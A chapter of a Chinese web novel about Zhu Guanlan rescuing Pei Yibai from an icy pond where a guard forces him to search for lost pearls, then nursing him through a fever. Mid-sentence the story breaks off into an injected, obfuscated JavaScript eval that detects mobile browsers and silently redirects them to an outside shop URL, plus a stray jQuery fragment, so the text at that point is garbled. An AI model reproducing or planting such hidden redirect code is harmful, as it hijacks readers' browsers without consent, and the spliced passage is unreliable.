裴家第二年。
年终岁末,裴渊作为家主,按照惯例设下宴席,邀请族中长老、子弟共同相聚。这种场合,裴翊白自然也需要参与。
窗外花火烂漫,绚丽的颜色映到屋内,平添了几分喜气。屋内烧着火盆,烘得人昏昏欲睡。祝观澜斜倚在榻边,随手抄起本书,有一搭没一搭地翻看起来。
也不知过了多久,久到书本“啪”的一下落到地上,终于砸碎了她的几分睡意。
祝观澜揉揉发麻的胳膊,打了个哈欠低头,看到手边的香篆烧了大半,才发觉自己已经睡了很久。
她将窗户打开一条缝隙朝外看,眼见隔壁房间依旧是黑暗安静的样子,不由得微微惊讶。
——裴翊白居然还没回来。
家宴应该早就结束了,他在裴氏也没有可以“促膝长谈”的亲密之人,难道是又出了什么事情?
祝观澜此时已经睡意全无,她重新拿起书籍,又读了一会儿,只感觉半个字也没进脑袋。
书册被随意放到一边,祝观澜心血来潮,干脆取了只灯笼,打算沿着去往宴席的路往外走,若运气好,兴许能迎到裴翊白也说不定。
迎不到也没有关系,裴家今夜灯火不息,就只当是出门走走,也挺不错。
拾级而下。
夜半之时,外面本该寂寥无声。但今天日子特殊,隔壁院落里隐隐传来些笑闹声,半路也有些三三两两的少年人,相携并进。
一路朝前便是池塘,池塘周围假山堆叠,虽点了些灯笼,犹显得昏暗。祝观澜紧了紧身上的斗篷,加快脚步,疾行穿过蜿蜒曲折的小径。
她从一块山石后钻出,恰在此刻,只听见“砰”的一声,巨大的烟花在半空炸开。这烟火极其绚丽,拖着长长的尾焰,占据了半个夜空,也照亮黑暗里的一切。
祝观澜偏头,不期然与一双眸子对上。
那人站在池塘里,半截身子都泡在水里,脸色被映衬得惨白如纸,看到她的时候,没忍住蹙了下眉。
她手中猛地一松,那灯笼“啪嗒”一下砸到路面。
但此时已然没人有心去管什么灯笼,祝观澜三步并两步,跑至池塘边,半跪着他的伸出手,“快上来!你在池塘里做什么,不要命了?”
裴翊白蹚水而来,夜里池塘里结了薄薄一层碎冰,随着他的动作,冰晶相撞,发出清脆的声响。但祝观澜只把这声音当做“催命符”一样,他小腿一道伤口还没结痂,如今这样泡着,还不知道会有什么后果。
裴翊白却在距离岸边大概一丈的地方停下了,他苍白的唇勾出一点点弧度,只说:“你在那别动,再等我一会儿。”
祝观澜已然感到不妙,她一手攥紧岸边的山石,仍不死心地问:“你到底在干什么?”
话音落下,一颗石子砸到她面前的水面上,激起的水花迸溅进他的眼睛,激得祝观澜下意识一缩,猛然跪坐在地面上。
“马程!”
“裴翊白,”那人声音里透着股懒散,“你有力气吼我,不如抓紧把珠子都找回来,我也好——嘶!”
霎那间一个指甲大小的水团直直飞来,那水团裹着力道,正好击在那人左眼眼皮之上,激得他浑身一哆嗦。
“你!”马程怒目而视,他似是想要还手,但望着碎冰中间的人影,又幽幽呼出一口气,改口说:“我看你能撑到什么时候。”
祝观澜慢慢缓过劲来,眼睛里的不适感逐渐消退。她重新睁开眼,终于才看清,池塘的另一侧站着个黑衣青年。
他方才一直站在假山的阴影里,此刻才走进月色。
祝观澜是认识马程的,此人虽然只是个侍卫,但是自小和裴知鸿一起长大,深得那位公子的信任。
他站在此处,那今日这祸事的源头,便已明了。
她对这人没有半分好印象,便当他不存在一样,垂首去问裴翊白:“你找什么珠子?”
偏偏马程没有被无视的自觉,他像是找到了什么新趣味似的,先一步回答:“当然是找,裴以蓁小姐的手串。”他笑笑,眉眼舒展,“那手串是上好的东珠制成的,颗颗昂贵,绝不是我们这些下人赔得起的。”
马程刻意咬重“下人”二字,又伸手拨拉了一下手边盒子里的东珠,“……十、十一、十二,裴翊白,还有五颗,你快点找,省得连累我在这里吹凉风。”
“……裴以蓁。”祝观澜将这名字念了一遍,心底不由得浮现出一张明艳的脸。
这裴家之内,纪慈只得一子,但裴家主却不只一个孩子,裴以蓁便是其中之一。这姑娘生母不详,偏偏性子却极对裴知鸿的胃口,纪慈对其虽不在乎但也不曾苛待,因此上上下下都把她当做正经小姐看。
裴以蓁成日里跟在裴知鸿后边,一口一个“哥哥”叫着,因此一向也是看不惯裴翊白的。她平日便素爱给他们找不痛快,也曾和祝观澜有过几次争执,所以祝观澜对她的印象格外深刻。
对他们来说,裴知鸿和裴以蓁,真能算得上“臭味相投”了。
祝观澜盯着水面晃动的碎冰,咬了咬嘴唇。
她有些自知之明,凭当时她这副身子骨,若是真下水帮忙,估计还要裴翊白反过来“捞”她。
于是,祝观澜站起来,将滚落草丛的灯笼捡回来,放到岸边,试图以此来增加一点光芒。
时间格外漫长,她看见裴翊白暗色的衣摆随动作在水中沉浮,仿佛池底生出的水草缠住了他的身体,让他的动作艰难而又迟缓。
祝观澜背靠山石,沉默地等着,直等到寒意渗透过斗篷,钻入内里,才终于结束。
最后一颗东珠落入盒中,马程也已经耐心耗尽,他将盖子合好,揣进袖子里,不咸不淡地讽刺了几句,终于匆匆离开。
“快上来。”祝观澜又一次伸出手。
掌心里传来极其冰凉的触感,惹得人猛地一激灵。祝观澜顿了一下,旋即两只手攥住裴翊白的手腕,咬紧牙关用力,一把将他扯了上来。
她解开斗篷,裹住他的身体。这斗篷对于此刻的裴翊白而言,虽然起不到什么作用,但好歹聊胜于无。
祝观澜架起他的一条胳膊,只感觉大半的力量都压了过来。她感受到身侧之人过于浓重的呼吸,一言不发地撑着他往西边走。
裴翊白此刻脑子还算清醒,他顷刻间明白了祝观澜的意思,却依旧站在原地没动,“不去停枫院
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17760891|209202||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,回去。”
停枫院里住着的是裴家的医师。
她闻言不由皱眉,现在这状况不去找医师,难不成硬挺着么?
祝观澜刚要开口,便听见他又说:“裴知鸿存心为难,咱们就算去了,也没人敢帮我。”人在屋檐下不得不低头。
未来的裴家主开口,自然没人会违逆他的命令。
冷风还在吹,他衣服上的水顺着布料侵进她的衣服,祝观澜感受到这股寒意,不再纠结,“好,回去。”
来的时候一路畅通,回去的路却格外难走。
裴翊白能感觉两条腿在渐渐脱离掌控,如今还强撑着一步一步往前走,全靠意志支撑。一开始因为寒冷而刺痛的感觉褪去,渐渐涌上淡淡的痒意,到此时,甚至诡异地生出一些燥热感。
“醒醒,坚持一下。”
他确实很想就此躺倒,但听到她的话,又一次次地将这个想法压了下去。
裴翊白记不清走了多久,他踉跄地被祝观澜带着进屋,只感觉暖意如同绒绒的毯子,将人裹在其中。
身侧之人急匆匆地离去,“你别动,我去拿东西。”
屋子里尚未开灯,裴翊白也没听清她到底说了什么,勉强分出精力凝了个术法换掉衣服,随后整个人砸在榻上,拉过被子,本能地把自己蜷了起来。
祝观澜抱着兽皮回来的时候,看到的就是这幅场景。她将兽皮铺到他身上,压实,又点了几个火盆,随后翻弄起架着上的药箱。
她对医术没什么研究,就算有,现下也记不起来,只好想将他腿上的伤口重新包扎,又将那些调养的药品全找出来,挑着些名贵的,先往他嘴里送。
裴翊白面色终于不似刚才那般惨白,但她心底始终提着一口气,半点也无法松懈。
床榻一侧的炉子上,咕嘟咕嘟烧着热汤,散发出微甜的味道。祝观澜眼见着炉子上氤氲的白汽越来越浓,转过想去看看,却没想到猛地被一只手拉住。
裴翊白不知道为何突然睁眼,直直地看向书架,她本以为那处还有什么珍贵的丹药,却听见他说:“第二层,暗格,有令牌……拿着令牌,可以去云微书院寻求庇护。”
他声音沙哑,又说:“贺云汀……同窗,找她、她会帮你。”
这话听着像交代后事一样,祝观澜似乎知道他为什么突然这么说,但又不愿意细想。
她咬着牙,突然就感觉特别难过。
裴翊白没听见她的声音,强撑着力气还想再说一遍,却感觉一滴泪,坠落在他的脸颊。更多的说辞全部卡在喉咙,最后只剩下一句,“只是为了防止意外,才和你说的……别担心。”
嘴巴里讲着“别担心”的人,在说完这一句之后,便忽得昏睡过去。他身上不再冰凉,但额头逐渐升起的温度,却让人更加揪心。
时至今日,祝观澜回想起那时,依然还会心有余悸。她不知道裴翊白是以什么心情说出那些话,也不知道他如何坚持,熬过那天幽黑又漫长的夜晚。
她只能算作一个旁观者。
而现在,裴翊白蜷起的样子,正在与曾经重叠交错。
只是谁也不知道,这一次,结果又会如何。